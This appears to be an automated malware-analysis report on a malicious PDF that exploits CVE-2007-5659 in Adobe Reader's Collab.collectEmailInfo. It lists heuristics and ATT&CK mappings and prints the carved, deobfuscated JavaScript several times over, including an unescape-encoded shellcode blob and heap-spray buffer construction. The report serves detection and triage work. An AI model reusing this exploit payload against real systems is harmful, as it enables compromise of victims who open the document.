MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF sample contains embedded JavaScript that utilizes the `unescape()` function and exploits the `Collab.collectEmailInfo` method, indicative of CVE-2007-5659. The JavaScript is designed to download and execute a secondary payload, as evidenced by the generic stage recovery scripts. The primary attack vector is likely spearphishing attachment, leading to client execution via the exploit.
Machine Learning
- Nyx PDF Classifier malicious score 0.9992
Heuristics 9
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
Embedded file low PDF_EMBEDDEDPDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
-
Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTALThe same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
Extracted artifacts 5
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0020_000.jsf7ab6860b9193e2131029199d24676116dc8d3f38afb87b8d31e7ef00477fe46 |
pdf-javascript-stream | PDF /JS object 20 at offset 0x19F084 | 9858 bytes |
Preview scriptFirst 1,000 lines of the extracted script
�� f u n c t i o n r e ( c o u n t , w h a t )
{
v a r v = " " ;
w h i l e ( - - c o u n t > = 0 )
v + = w h a t ;
r e t u r n v ;
}
f u n c t i o n s t a r t ( )
{
s c = u n e s c a p e ( " % u 9 0 9 0 % u 9 0 9 0 % u 9 0 9 0 % u e b 9 0 % u 5 e 1 8 % u 5 b 5 6 % u 0 6 8 a % u 3 0 3 c % u 1 4 7 4 % u 6 b 6 6 % u 5 8 c 0 " +
" % u 8 a 4 6 % u 3 2 2 6 % u 8 8 c 4 % u 4 3 0 3 % u e b 4 6 % u e 8 e b % u f f e 3 % u f f f f " +
" % u 5 0 4 8 % u 5 0 4 8 % u 5 0 4 8 % u 5 0 4 8 % u 5 9 4 2 % u 6 8 4 1 % u 5 9 4 1 % u 5 8 4 1 " +
" % u 5 8 4 1 % u 6 d 4 8 % u 5 8 4 3 % u 5 a 4 3 % u 5 8 4 2 % u 7 8 4 1 % u 5 8 4 1 % u 5 8 4 1 " +
" % u 5 8 4 1 % u 4 9 4 8 % u 6 7 4 4 % u 4 3 4 8 % u 7 4 4 2 % u 5 0 4 1 % u 4 3 4 8 % u 7 7 4 2 " +
" % u 6 4 4 4 % u 6 3 4 1 % u 4 1 4 2 % u 6 5 4 6 % u 5 4 4 5 % u 7 3 4 2 % u 6 b 4 1 % u 7 0 4 2 " +
" % u 6 c 4 3 % u 4 b 4 8 % u 4 8 4 3 % u 6 8 4 1 % u 4 b 4 8 % u 4 8 4 3 % u 5 4 4 1 % u 4 b 4 8 " +
" % u 7 8 4 3 % u 4 4 4 1 % u 6 d 4 8 % u 4 b 4 8 % u 4 8 4 3 % u 5 0 4 1 % u 5 3 4 5 % u 5 8 4 1 " +
" % u 7 3 4 2 % u 6 8 4 3 % u 4 b 4 8 % u 6 4 4 3 % u 4 4 4 4 % u 4 4 4 4 % u 4 b 4 8 % u 4 d 4 3 " +
" % u 6 4 4 1 % u 4 b 4 8 % u 4 4 4 6 % u 7 0 4 1 % u 7 0 4 3 % u 6 3 4 4 % u 6 5 4 2 % u 4 b 4 8 " +
" % u 4 2 4 3 % u 7 8 4 4 % u 4 b 4 8 % u 5 2 4 3 % u 7 8 4 1 % u 6 3 4 4 % u 6 d 4 2 % u 5 3 4 2 " +
" % u 6 c 4 1 % u 4 1 4 3 % u 4 b 4 8 % u 6 c 4 1 % u 4 b 4 8 % u 6 3 4 4 % u 4 5 4 2 % u 6 b 4 1 " +
" % u 4 f 4 2 % u 6 b 4 1 % u 7 0 4 2 % u 4 c 4 2 % u 6 c 4 8 % u 4 4 4 8 % u 7 0 4 2 % u 6 4 4 6 " +
" % u 6 7 4 4 % u 7 1 4 2 % u 7 7 4 5 % u 5 5 4 1 % u 6 3 4 4 % u 4 8 4 2 % u 5 3 4 5 % u 4 4 4 2 " +
" % u 6 3 4 1 % u 7 4 4 3 % u 4 4 4 4 % u 7 0 4 1 % u 6 5 4 6 % u 5 1 4 2 % u 4 b 4 8 % u 5 2 4 3 " +
" % u 4 4 4 4 % u 6 3 4 4 % u 6 d 4 2 % u 6 e 4 3 % u 4 b 4 8 % u 5 4 4 1 % u 4 3 4 3 % u 4 b 4 8 " +
" % u 5 2 4 3 % u 4 4 4 1 % u 6 3 4 4 % u 6 d 4 2 % u 4 b 4 8 % u 6 4 4 4 % u 4 b 4 8 % u 6 3 4 4 " +
" % u 7 5 4 2 % u 4 9 4 8 % u 4 c 4 3 % u 4 4 4 4 % u 4 4 4 1 % u 6 9 4 3 % u 7 3 4 2 % u 6 b 4 1 " +
" % u 7 9 4 2 % u 5 9 4 3 % u 4 d 4 8 % u 4 d 4 3 % u 5 a 4 3 % u 5 8 4 3 % u 7 8 4 6 % u 5 8 4 1 " +
" % u 6 4 4 4 % u 5 8 4 1 % u 5 8 4 1 % u 4 f 4 2 % u 6 5 4 6 % u 4 6 4 3 % u 4 f 4 2 % u 6 5 4 6 " +
" % u 6 6 4 1 % u 4 f 4 2 % u 4 5 4 6 % u 7 8 4 4 % u 6 b 4 1 % u 7 9 4 2 % u 6 e 4 3 % u 4 b 4 8 " +
" % u 4 5 4 3 % u 5 a 4 3 % u 4 b 4 8 % u 6 5 4 6 % u 4 6 4 3 % u 4 b 4 8 % u 4 e 4 2 % u 7 3 4 b " +
" % u 4 8 4 b % u 4 8 4 b % u 4 8 4 b % u 4 8 4 b % u 4 1 4 8 % u 7 3 4 2 % u 5 2 4 1 % u 5 2 4 1 " +
" % u 5 2 4 1 % u 5 2 4 1 % u 6 e 4 3 % u 7 1 4 2 % u 5 9 4 2 % u 5 a 4 1 % u 6 d 4 8 % u 6 b 4 1 " +
" % u 7 3 4 2 % u 6 b 4 8 % u 5 2 4 2 % u 4 a 4 2 % u 6 b 4 1 % u 7 9 4 2 % u 5 9 4 3 % u 4 d 4 8 " +
" % u 4 d 4 3 % u 4 6 4 6 % u 5 8 4 3 % u 4 f 4 2 % u 6 5 4 6 % u 5 a 4 3 % u 4 b 4 8 % u 4 5 4 6 " +
" % u 4 6 4 3 % u 5 a 4 3 % u 4 f 4 2 % u 6 5 4 6 % u 4 a 4 3 % u 4 f 4 2 % u 4 5 4 6 % u 4 4 4 1 " +
" % u 4 b 4 8 % u 4 5 4 6 % u 4 6 4 6 % u 7 1 4 1 % u 4 5 4 6 % u 5 2 4 3 % u 4 3 4 8 % u 7 5 4 3 " +
" % u 5 2 4 3 % u 5 8 4 1 % u 7 7 4 3 % u 6 b 4 8 % u 4 f 4 2 % u 6 5 4 6 % u 4 a 4 3 % u 4 f 4 2 " +
" % u 4 5 4 6 % u 6 4 4 4 % u 7 3 4 2 % u 7 6 4 3 % u 6 8 4 2 % u 5 2 4 2 % u 6 3 4 6 % u 4 b 4 2 " +
" % u 5 7 4 8 % u 4 d 4 2 % u 5 7 4 1 % u 6 b 4 1 % u 7 a 4 2 % u 4 a 4 8 % u 5 3 4 3 % u 4 7 4 3 " +
" % u 6 3 4 4 % u 7 7 4 2 % u 7 7 4 b % u 7 8 4 3 % u 6 3 4 6 % u 5 7 4 5 % u 6 e 4 1 % u 6 5 4 8 " +
" % u 4 f 4 1 % u 5 8 4 1 % u 7 4 4 3 % u 4 e 4 1 % u 6 d 4 3 % u 4 a 4 2 % u 4 8 4 1 % u 4 7 4 1 " +
" % u 7 1 4 3 % u 5 2 4 1 % u 5 8 4 2 % u 6 c 4 8 % u 5 0 4 1 % u 6 a 4 2 % u 6 6 4 6 % u 6 d 4 8 " +
" % u 5 3 4 b % u 7 5 4 3 % u 6 f 4 2 % u 5 8 4 8 % u 4 e 4 2 % u 4 a 4 8 % u 5 6 4 1 % u 5 4 4 5 " +
" % u 5 7 4 8 % u 6 3 4 4 % u 5 4 4 1 % u 7 8 4 1 % u 4 9 4 3 % u 6 b 4 3 % u 7 a 4
... (truncated)
|
|||
stream_003_off0019f084.jsc98f60160c896dd848aa07c0c8ee1b6239e48e4b579a4a36d1c0e7498c047cd5 |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x19F084 | 4932 bytes |
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 16 eval/decoder/string-building token(s).
|
|||
generic_stage_recovery_000.js626dd9a1ca96659f7e055b360ff148708e158cdfdffbd8b5b21ee6e6599d3587 |
deobfuscated-js | generic stage recovery null-collapse from JavaScript object 20 at offset 0x19F084 | 4932 bytes |
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 16 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��function re(count,what)
{
var v = "";
while (--count >= 0)
v += what;
return v;
}
function start()
{
sc = unescape("%u9090%u9090%u9090%ueb90%u5e18%u5b56%u068a%u303c%u1474%u6b66%u58c0"+
"%u8a46%u3226%u88c4%u4303%ueb46%ue8eb%uffe3%uffff"+
"%u5048%u5048%u5048%u5048%u5942%u6841%u5941%u5841"+
"%u5841%u6d48%u5843%u5a43%u5842%u7841%u5841%u5841"+
"%u5841%u4948%u6744%u4348%u7442%u5041%u4348%u7742"+
"%u6444%u6341%u4142%u6546%u5445%u7342%u6b41%u7042"+
"%u6c43%u4b48%u4843%u6841%u4b48%u4843%u5441%u4b48"+
"%u7843%u4441%u6d48%u4b48%u4843%u5041%u5345%u5841"+
"%u7342%u6843%u4b48%u6443%u4444%u4444%u4b48%u4d43"+
"%u6441%u4b48%u4446%u7041%u7043%u6344%u6542%u4b48"+
"%u4243%u7844%u4b48%u5243%u7841%u6344%u6d42%u5342"+
"%u6c41%u4143%u4b48%u6c41%u4b48%u6344%u4542%u6b41"+
"%u4f42%u6b41%u7042%u4c42%u6c48%u4448%u7042%u6446"+
"%u6744%u7142%u7745%u5541%u6344%u4842%u5345%u4442"+
"%u6341%u7443%u4444%u7041%u6546%u5142%u4b48%u5243"+
"%u4444%u6344%u6d42%u6e43%u4b48%u5441%u4343%u4b48"+
"%u5243%u4441%u6344%u6d42%u4b48%u6444%u4b48%u6344"+
"%u7542%u4948%u4c43%u4444%u4441%u6943%u7342%u6b41"+
"%u7942%u5943%u4d48%u4d43%u5a43%u5843%u7846%u5841"+
"%u6444%u5841%u5841%u4f42%u6546%u4643%u4f42%u6546"+
"%u6641%u4f42%u4546%u7844%u6b41%u7942%u6e43%u4b48"+
"%u4543%u5a43%u4b48%u6546%u4643%u4b48%u4e42%u734b"+
"%u484b%u484b%u484b%u484b%u4148%u7342%u5241%u5241"+
"%u5241%u5241%u6e43%u7142%u5942%u5a41%u6d48%u6b41"+
"%u7342%u6b48%u5242%u4a42%u6b41%u7942%u5943%u4d48"+
"%u4d43%u4646%u5843%u4f42%u6546%u5a43%u4b48%u4546"+
"%u4643%u5a43%u4f42%u6546%u4a43%u4f42%u4546%u4441"+
"%u4b48%u4546%u4646%u7141%u4546%u5243%u4348%u7543"+
"%u5243%u5841%u7743%u6b48%u4f42%u6546%u4a43%u4f42"+
"%u4546%u6444%u7342%u7643%u6842%u5242%u6346%u4b42"+
"%u5748%u4d42%u5741%u6b41%u7a42%u4a48%u5343%u4743"+
"%u6344%u7742%u774b%u7843%u6346%u5745%u6e41%u6548"+
"%u4f41%u5841%u7443%u4e41%u6d43%u4a42%u4841%u4741"+
"%u7143%u5241%u5842%u6c48%u5041%u6a42%u6646%u6d48"+
"%u534b%u7543%u6f42%u5848%u4e42%u4a48%u5641%u5445"+
"%u5748%u6344%u5441%u7841%u4943%u6b43%u7a43%u6743"+
"%u5a43%u6c43%u6b41%u6a41%u7641%u6d43%u7043%u6d43"+
"%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841"+
"%u5841%u6a48%u6a48%u6a48%u6a48%u5841%u5841%u5841"+
"%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841"+
"%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841"+
"%u5841%u5842%u5841%u5841%u5841%u5841%u5543%u4148"+
"%u5545%u6b43%u5841%u5841%u5841%u5842%u6442%u4e42"+
"%u4f42%u4f42%u4b48%u6845%u4b48%u4542%u4b48%u4e42"+
"%u4b48%u7645%u4348%u7142%u6841%u5842%u6f48%u4e42"+
"%u4f42%u4f42%u6b41%u7942%u4948%u4543%u6641%u4348"+
"%u4d43%u6641%u6444%u6b41%u7942%u5943%u4f42%u6546"+
"%u6641%u4f42%u4546%u4444%u6541%u5843%u6444%u4241"+
"%u5841%u7a43%u5445%u6541%u5843%u5041%u4241%u5841"+
"%u6746%u5542%u6b41%u7942%u5943%u5943%u7846%u4843"+
"%u6744%u5841%u5841%u4f42%u6546%u6641%u4f42%u4546"+
"%u7841%u6b41%u7942%u5943%u4d48%u4d43%u5a43%u5843"+
"%u4943%u7142%u5142%u5a41%u5943%u4d48%u4d43%u4e43"+
"%u5843%u4f42%u6546%u6641%u4f42%u4546%u7844%u6b41"+
"%u7942%u5943%u5943%u7846%u4c43%u6744%u5841%u5841"+
"%u4f42%u6546%u6641%u4f42%u4546%u7841%u7846%u4f42"+
"%u5841%u5841%u5841%u6243%u4843%u4f42%u4546%u7441"+
"%u4948%u4d43%u4243%u5843%u7846%u4f42%u5841%u5841"+
"%u5841%u4f42%u4546%u5041%u4f42%u6546%u4243%u4f42"+
"%u4546%u5441%u4546%u6b41%u7942%u5943%u7846%u484b"+
"%u5841%u5841%u5841%u6243%u5a41%u5943%u4943%u5943"+
"%u7846%u5841%u5841%u5841%u4843%u4d48%u4d43%u6841"+
"%u5843%u4348%u4d43%u4c41%u6544%u5345%u5241%u4b48"+
"%u4542%u5048%u5048%u4546%u4b48%u5445%u4f42%u6e43"+
"%u4c41%u5842%u4142%u4f42%u4f42%u4f42%u5543%u4348"+
"%u4842%u4f42%u6546%u5a41%u5345%u6141%u4948%u4d43"+
"%u4a43%u7846%u5841%u6444%u5841%u5841%u6243%u4843"+
"%u4f42%u4546%u7441%u4948%u4d43%u4643%u4b48%u4d43"+
"%u4e43%u4948%u4d43%u5243%u5842%u6e43%u4e42%u4f42"+
"%u4f42%u4546%u6b41%u7942%u5943%u4d48%u4d43%u6841"+
"%u5843%u4348%u4d43%u7041%u6544%u5345%u5241%u4b48"+
"%u4542%u5048%u5048%u4546%u4b48%u5445%u4f42%u6e43"+
"%u7041%u5842%u4142%u4f42%u4f42%u4f42%u5543%u6243"+
"%u5841%u4f42%u4546%u5841%u5048%u5048%u5048%u5048"+
"%u3030");
if (ap
... (truncated)
|
|||
generic_stage_recovery_001.js77df8a406e3d54c76306bb19d30dc25482502e073d264a4f0f189023d0ab3a07 |
deobfuscated-js | generic stage recovery split-literal-normalize from decompressed stream at 0x19F084 at offset 0x19F084 | 4572 bytes |
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 16 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function re(count,what)
{
var v = "";
while (--count >= 0)
v += what;
return v;
}
function start()
{
sc = unescape("%u9090%u9090%u9090%ueb90%u5e18%u5b56%u068a%u303c%u1474%u6b66%u58c0%u8a46%u3226%u88c4%u4303%ueb46%ue8eb%uffe3%uffff%u5048%u5048%u5048%u5048%u5942%u6841%u5941%u5841%u5841%u6d48%u5843%u5a43%u5842%u7841%u5841%u5841%u5841%u4948%u6744%u4348%u7442%u5041%u4348%u7742%u6444%u6341%u4142%u6546%u5445%u7342%u6b41%u7042%u6c43%u4b48%u4843%u6841%u4b48%u4843%u5441%u4b48%u7843%u4441%u6d48%u4b48%u4843%u5041%u5345%u5841%u7342%u6843%u4b48%u6443%u4444%u4444%u4b48%u4d43%u6441%u4b48%u4446%u7041%u7043%u6344%u6542%u4b48%u4243%u7844%u4b48%u5243%u7841%u6344%u6d42%u5342%u6c41%u4143%u4b48%u6c41%u4b48%u6344%u4542%u6b41%u4f42%u6b41%u7042%u4c42%u6c48%u4448%u7042%u6446%u6744%u7142%u7745%u5541%u6344%u4842%u5345%u4442%u6341%u7443%u4444%u7041%u6546%u5142%u4b48%u5243%u4444%u6344%u6d42%u6e43%u4b48%u5441%u4343%u4b48%u5243%u4441%u6344%u6d42%u4b48%u6444%u4b48%u6344%u7542%u4948%u4c43%u4444%u4441%u6943%u7342%u6b41%u7942%u5943%u4d48%u4d43%u5a43%u5843%u7846%u5841%u6444%u5841%u5841%u4f42%u6546%u4643%u4f42%u6546%u6641%u4f42%u4546%u7844%u6b41%u7942%u6e43%u4b48%u4543%u5a43%u4b48%u6546%u4643%u4b48%u4e42%u734b%u484b%u484b%u484b%u484b%u4148%u7342%u5241%u5241%u5241%u5241%u6e43%u7142%u5942%u5a41%u6d48%u6b41%u7342%u6b48%u5242%u4a42%u6b41%u7942%u5943%u4d48%u4d43%u4646%u5843%u4f42%u6546%u5a43%u4b48%u4546%u4643%u5a43%u4f42%u6546%u4a43%u4f42%u4546%u4441%u4b48%u4546%u4646%u7141%u4546%u5243%u4348%u7543%u5243%u5841%u7743%u6b48%u4f42%u6546%u4a43%u4f42%u4546%u6444%u7342%u7643%u6842%u5242%u6346%u4b42%u5748%u4d42%u5741%u6b41%u7a42%u4a48%u5343%u4743%u6344%u7742%u774b%u7843%u6346%u5745%u6e41%u6548"+
"%u4f41%u5841%u7443%u4e41%u6d43%u4a42%u4841%u4741%u7143%u5241%u5842%u6c48%u5041%u6a42%u6646%u6d48%u534b%u7543%u6f42%u5848%u4e42%u4a48%u5641%u5445%u5748%u6344%u5441%u7841%u4943%u6b43%u7a43%u6743%u5a43%u6c43%u6b41%u6a41%u7641%u6d43%u7043%u6d43%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u6a48%u6a48%u6a48%u6a48%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5842%u5841%u5841%u5841%u5841%u5543%u4148%u5545%u6b43%u5841%u5841%u5841%u5842%u6442%u4e42%u4f42%u4f42%u4b48%u6845%u4b48%u4542%u4b48%u4e42%u4b48%u7645%u4348%u7142%u6841%u5842%u6f48%u4e42%u4f42%u4f42%u6b41%u7942%u4948%u4543%u6641%u4348%u4d43%u6641%u6444%u6b41%u7942%u5943%u4f42%u6546%u6641%u4f42%u4546%u4444%u6541%u5843%u6444%u4241%u5841%u7a43%u5445%u6541%u5843%u5041%u4241%u5841%u6746%u5542%u6b41%u7942%u5943%u5943%u7846%u4843%u6744%u5841%u5841%u4f42%u6546%u6641%u4f42%u4546%u7841%u6b41%u7942%u5943%u4d48%u4d43%u5a43%u5843%u4943%u7142%u5142%u5a41%u5943%u4d48%u4d43%u4e43%u5843%u4f42%u6546%u6641%u4f42%u4546%u7844%u6b41%u7942%u5943%u5943%u7846%u4c43%u6744%u5841%u5841%u4f42%u6546%u6641%u4f42%u4546%u7841%u7846%u4f42%u5841%u5841%u5841%u6243%u4843%u4f42%u4546%u7441%u4948%u4d43%u4243%u5843%u7846%u4f42%u5841%u5841%u5841%u4f42%u4546%u5041%u4f42%u6546%u4243%u4f42%u4546%u5441%u4546%u6b41%u7942%u5943%u7846%u484b%u5841%u5841%u5841%u6243%u5a41%u5943%u4943%u5943%u7846%u5841%u5841%u5841%u4843%u4d48%u4d43%u6841%u5843%u4348%u4d43%u4c41%u6544%u5345%u5241%u4b48%u4542%u5048%u5048%u4546%u4b48%u5445%u4f42%u6e43"+
"%u4c41%u5842%u4142%u4f42%u4f42%u4f42%u5543%u4348%u4842%u4f42%u6546%u5a41%u5345%u6141%u4948%u4d43%u4a43%u7846%u5841%u6444%u5841%u5841%u6243%u4843%u4f42%u4546%u7441%u4948%u4d43%u4643%u4b48%u4d43%u4e43%u4948%u4d43%u5243%u5842%u6e43%u4e42%u4f42%u4f42%u4546%u6b41%u7942%u5943%u4d48%u4d43%u6841%u5843%u4348%u4d43%u7041%u6544%u5345%u5241%u4b48%u4542%u5048%u5048%u4546%u4b48%u5445%u4f42%u6e43%u7041%u5842%u4142%u4f42%u4f42%u4f42%u5543%u6243%u5841%u4f42%u4546%u5841%u5048%u5048%u5048%u5048%u3030");
if (app.viewerVersion >= 7.0)
{
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape("%u9090%u9090") +
re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + sc + re(1256,unescape("%u4141%u4141"));
}
else
{
ef6 = unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")
... (truncated)
|
|||
generic_stage_recovery_002.js019b0006ffa9e94ec72007fa6bbb886179f4382b4663155be366052a1cf08512 |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize from JavaScript object 20 at offset 0x19F084 | 4572 bytes |
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 16 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��function re(count,what)
{
var v = "";
while (--count >= 0)
v += what;
return v;
}
function start()
{
sc = unescape("%u9090%u9090%u9090%ueb90%u5e18%u5b56%u068a%u303c%u1474%u6b66%u58c0%u8a46%u3226%u88c4%u4303%ueb46%ue8eb%uffe3%uffff%u5048%u5048%u5048%u5048%u5942%u6841%u5941%u5841%u5841%u6d48%u5843%u5a43%u5842%u7841%u5841%u5841%u5841%u4948%u6744%u4348%u7442%u5041%u4348%u7742%u6444%u6341%u4142%u6546%u5445%u7342%u6b41%u7042%u6c43%u4b48%u4843%u6841%u4b48%u4843%u5441%u4b48%u7843%u4441%u6d48%u4b48%u4843%u5041%u5345%u5841%u7342%u6843%u4b48%u6443%u4444%u4444%u4b48%u4d43%u6441%u4b48%u4446%u7041%u7043%u6344%u6542%u4b48%u4243%u7844%u4b48%u5243%u7841%u6344%u6d42%u5342%u6c41%u4143%u4b48%u6c41%u4b48%u6344%u4542%u6b41%u4f42%u6b41%u7042%u4c42%u6c48%u4448%u7042%u6446%u6744%u7142%u7745%u5541%u6344%u4842%u5345%u4442%u6341%u7443%u4444%u7041%u6546%u5142%u4b48%u5243%u4444%u6344%u6d42%u6e43%u4b48%u5441%u4343%u4b48%u5243%u4441%u6344%u6d42%u4b48%u6444%u4b48%u6344%u7542%u4948%u4c43%u4444%u4441%u6943%u7342%u6b41%u7942%u5943%u4d48%u4d43%u5a43%u5843%u7846%u5841%u6444%u5841%u5841%u4f42%u6546%u4643%u4f42%u6546%u6641%u4f42%u4546%u7844%u6b41%u7942%u6e43%u4b48%u4543%u5a43%u4b48%u6546%u4643%u4b48%u4e42%u734b%u484b%u484b%u484b%u484b%u4148%u7342%u5241%u5241%u5241%u5241%u6e43%u7142%u5942%u5a41%u6d48%u6b41%u7342%u6b48%u5242%u4a42%u6b41%u7942%u5943%u4d48%u4d43%u4646%u5843%u4f42%u6546%u5a43%u4b48%u4546%u4643%u5a43%u4f42%u6546%u4a43%u4f42%u4546%u4441%u4b48%u4546%u4646%u7141%u4546%u5243%u4348%u7543%u5243%u5841%u7743%u6b48%u4f42%u6546%u4a43%u4f42%u4546%u6444%u7342%u7643%u6842%u5242%u6346%u4b42%u5748%u4d42%u5741%u6b41%u7a42%u4a48%u5343%u4743%u6344%u7742%u774b%u7843%u6346%u5745%u6e41%u6548"+
"%u4f41%u5841%u7443%u4e41%u6d43%u4a42%u4841%u4741%u7143%u5241%u5842%u6c48%u5041%u6a42%u6646%u6d48%u534b%u7543%u6f42%u5848%u4e42%u4a48%u5641%u5445%u5748%u6344%u5441%u7841%u4943%u6b43%u7a43%u6743%u5a43%u6c43%u6b41%u6a41%u7641%u6d43%u7043%u6d43%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u6a48%u6a48%u6a48%u6a48%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5841%u5842%u5841%u5841%u5841%u5841%u5543%u4148%u5545%u6b43%u5841%u5841%u5841%u5842%u6442%u4e42%u4f42%u4f42%u4b48%u6845%u4b48%u4542%u4b48%u4e42%u4b48%u7645%u4348%u7142%u6841%u5842%u6f48%u4e42%u4f42%u4f42%u6b41%u7942%u4948%u4543%u6641%u4348%u4d43%u6641%u6444%u6b41%u7942%u5943%u4f42%u6546%u6641%u4f42%u4546%u4444%u6541%u5843%u6444%u4241%u5841%u7a43%u5445%u6541%u5843%u5041%u4241%u5841%u6746%u5542%u6b41%u7942%u5943%u5943%u7846%u4843%u6744%u5841%u5841%u4f42%u6546%u6641%u4f42%u4546%u7841%u6b41%u7942%u5943%u4d48%u4d43%u5a43%u5843%u4943%u7142%u5142%u5a41%u5943%u4d48%u4d43%u4e43%u5843%u4f42%u6546%u6641%u4f42%u4546%u7844%u6b41%u7942%u5943%u5943%u7846%u4c43%u6744%u5841%u5841%u4f42%u6546%u6641%u4f42%u4546%u7841%u7846%u4f42%u5841%u5841%u5841%u6243%u4843%u4f42%u4546%u7441%u4948%u4d43%u4243%u5843%u7846%u4f42%u5841%u5841%u5841%u4f42%u4546%u5041%u4f42%u6546%u4243%u4f42%u4546%u5441%u4546%u6b41%u7942%u5943%u7846%u484b%u5841%u5841%u5841%u6243%u5a41%u5943%u4943%u5943%u7846%u5841%u5841%u5841%u4843%u4d48%u4d43%u6841%u5843%u4348%u4d43%u4c41%u6544%u5345%u5241%u4b48%u4542%u5048%u5048%u4546%u4b48%u5445%u4f42%u6e43"+
"%u4c41%u5842%u4142%u4f42%u4f42%u4f42%u5543%u4348%u4842%u4f42%u6546%u5a41%u5345%u6141%u4948%u4d43%u4a43%u7846%u5841%u6444%u5841%u5841%u6243%u4843%u4f42%u4546%u7441%u4948%u4d43%u4643%u4b48%u4d43%u4e43%u4948%u4d43%u5243%u5842%u6e43%u4e42%u4f42%u4f42%u4546%u6b41%u7942%u5943%u4d48%u4d43%u6841%u5843%u4348%u4d43%u7041%u6544%u5345%u5241%u4b48%u4542%u5048%u5048%u4546%u4b48%u5445%u4f42%u6e43%u7041%u5842%u4142%u4f42%u4f42%u4f42%u5543%u6243%u5841%u4f42%u4546%u5841%u5048%u5048%u5048%u5048%u3030");
if (app.viewerVersion >= 7.0)
{
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape("%u9090%u9090") +
re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + sc + re(1256,unescape("%u4141%u4141"));
}
else
{
ef6 = unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.